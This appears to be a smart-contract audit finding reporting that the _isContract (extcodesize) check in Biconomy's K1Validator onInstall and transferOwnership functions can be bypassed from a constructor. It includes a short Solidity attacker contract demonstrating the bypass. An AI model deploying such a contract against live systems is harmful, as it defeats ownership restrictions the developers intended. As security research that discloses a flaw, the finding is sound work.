## Summary
The [_isContract](https://github.com/Cyfrin/2024-07-biconomy/blob/9590f25cd63f7ad2c54feb618036984774f3879d/contracts/modules/validators/K1Validator.sol#L140) check in the [onInstall](https://github.com/Cyfrin/2024-07-biconomy/blob/9590f25cd63f7ad2c54feb618036984774f3879d/contracts/modules/validators/K1Validator.sol#L51) and [transferOwnership](https://github.com/Cyfrin/2024-07-biconomy/blob/9590f25cd63f7ad2c54feb618036984774f3879d/contracts/modules/validators/K1Validator.sol#L66) functions can be bypassed if called within a contract's constructor, potentially allowing a contract to be set as the owner.
## Vulnerability Details
The `onIstall` and `transferOwnership` functions prevent contracts from setting themselves as the owner, but the `_isContract` check can be bypassed. This check can be circumvented when called within a contract's constructor. During the constructor's execution, the `extcodesize` of the contract returns zero, enabling this bypass.
Attacker Contract Example:
```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
interface IK1Validator {
function onInstall(bytes calldata data) external;
function transferOwnership(address newOwner) external;
}
contract Attacker {
IK1Validator public validator;
constructor(address validatorAddress) {
validator = IK1Validator(validatorAddress);
// Bypass _isContract check by calling onInstall in the constructor
bytes memory ownerData = abi.encodePacked(address(this));
validator.onInstall(ownerData);
// Bypass _isContract check by calling transferOwnership in the constructor
validator.transferOwnership(address(this));
}
}
```
## Impact
User can set a contract as the owner, bypassing intended restrictions.
## Tools Used
Manual Review
## Recommendations
Consider using OpenZeppelin's Contract.